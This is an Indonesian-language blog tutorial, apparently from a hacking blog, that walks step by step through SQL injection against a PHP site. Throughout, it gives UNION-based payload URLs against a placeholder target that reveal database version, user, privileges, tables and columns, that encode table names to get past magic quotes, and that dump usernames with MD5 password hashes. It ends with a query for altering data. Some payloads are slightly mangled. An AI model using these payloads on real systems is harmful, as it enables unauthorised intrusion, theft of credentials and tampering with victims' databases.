
Ada dua jenis metode atau cara SQL Injection yang pertama disebut Normal SQL Injection, yaitu dengan memanfaatkan error yang dibuat oleh attacker untuk memperoleh informasi skema atau struktur dari database, yang kedua yaitu Blind SQL Injection, dimana saat exploitasi Normal SQL Injection tidak bekerja, Blind SQL Injection dijadikan metode lain untuk exploitasi. Blind SQL Injection lebih sulit dilakukan, penjelasan lebih jauh tentang hal ini pada postingan yang akan datang :).
Cek Vulnerability
Untuk mengetahui apakah suatu aplikasi web vulnerable terhadap Sql Injection atau tidak, kita coba dengan menambahkan single quotes (‘) pada url, contoh :
http://www.target.com/news.php?id=1′
Jika Vulnerable akan keluar pesan error kurang lebih seperti ini : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” AND bg_deleted_dt IS NULL’ at line 1″
Berapa Jumlah Kolomnya ?
Untuk mengetahui jumlah kolom kita gunakan statement ORDER BY. Jangan lupa gunakan akhiran /* , # , , atau — . Contoh :
http://www.target.com/news.php?id=1+order+by+1– // tidak ada error
http://www.target.com/news.php?id=1+order+by+2– // tidak ada error
http://www.target.com/news.php?id=1+order+by+3– // tidak ada error
http://www.target.com/news.php?id=1+order+by+4– // tidak ada error
http://www.target.com/news.php?id=1+order+by+5– // ada error yang muncul seperti “Unknown column ’5′ in ‘order clause’”
Itu berarti terdapat jumlah kolom yang ada berjumlah 4. Jika hasil uji coba tidak terdapat error berarti jumlah kolom yang anda masukkan lebih kecil dari pada jumlah kolom yang ada di database, jika terdapat error jumlah kolom yang anda masukkan lebih besar dari jumlah kolom yang ada di database.
UNION Function
Guna UNION Function adalah untuk mengkombinasikan hasil satu atau lebih query dengan “select” statemen ke dalam single result. kita coba apakah fungsi UNION berfungsi atau tidak kita buat statement seperti ini :
http://www.target.com/news.php?id=null+union+select+1,2,3,4,5
,6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|
Get the information
untuk mengetahui versi database yang digunakan,
http://www.target.com/news.php?id=null+union+
select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|

untuk mengetahui nama database,
http://www.target.com/news.php?id=null+union+
select+1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|

untuk mengetahui username database,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|

untuk mengetahui lokasi database,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19– |
---|

Check Previliges !
Kita cek apakah username database yang kita ketahui sebelumnya sebelumnya , mempunyai previlige untuk mengubah, menambahkan, atau menghapus isi database dengan statement berikut ,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,update_priv,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+mys ql.user– |
---|

wow !!! huruf y berarti yes, kalau n artinya ora gelem.
Mendapatkan isi dari Database
Untuk membaca isi dari suatu Database, kita gunakan sintaks seperti contoh di bawah ini ;
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+table– |
---|
laah??? kan gue gak tau nama kolomnya apa dan table apa saja di databasenya?..zzzZ
Tenang,,sejak SQL versi > 5 kita bisa mendapatkan informasi tentang isi database, di information_schema, jadi mari kita exploitasi database dengan nama information_schema..
Seraaaaanng…………………. !!!!

Contoh seperti di bawah,,
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(table_name,’ ,table_schema),6,7,8,9,10,11,12,13,14 ,15,16,17,18,19+from+information_schema.tables+limit+1+off set+18– |
---|

Saya saya ingin mendapatkan informasi tentang username dan password di website tersebut dalam database, dan saya masih menebak column mana yang mengandung kata seperti “user” atau “password”. Saya menebak pada table “eb_profile” terdapat “username” dan “Password” untuk itu saya harus mengetahui column apa saja yang terdapat pada table “eb_profile”, lalu saya melakukan query seperti berikut.
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+ information_schema.columns+where+table_name=’eb_profile’– |
---|

jika eror, kemungkinan Magic_Quotes ter-Setting “ON” jadi kita harus melakukan convert nama table ke ASCII, seperti ini jadinya.
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+ information_schema.columns+where+table_name=char(101,98 ,95,112,114,111,105,108,101)– |
---|
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+ information_schema.columns+where+table_name=char(101,98 ,95,112,114,111,105,108,101)+limit+1+offset+1– |
---|
http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(ac_user_vc,’%20′,ac_pass_vc),6,7,8,9,10,11,12,13,14 ,15,16,17,18,19+from+eb_profile– |
---|

Dooor !!! . kita mendapatkan user pertama “root” berikut dengan md5 hashnya,, :D.. gunakan klausa limit dan offset untuk melihat user lainnya seperti di atas.
Updating the database :
Query untuk mengupdate isi database seperti ni contohny :
http://www.target.com/news.php?id=null+union+select+1,2,3,4,update,6
,7,8,9,10,11,12,13,14,15,16,17,18,19+table_name+set+column_name= “newvalue”+where+column_name=?value?+where+user=root– |
---|
males panjang-panjang,, udah ngantuk,,jam 04:51,,zzzzzzZZZZZZZZZZZzzzzzzzzzzzZZZZZZZZZzzzzzzzzzzzzzZZZZZZZZZZZZ
No comments:
Write komentar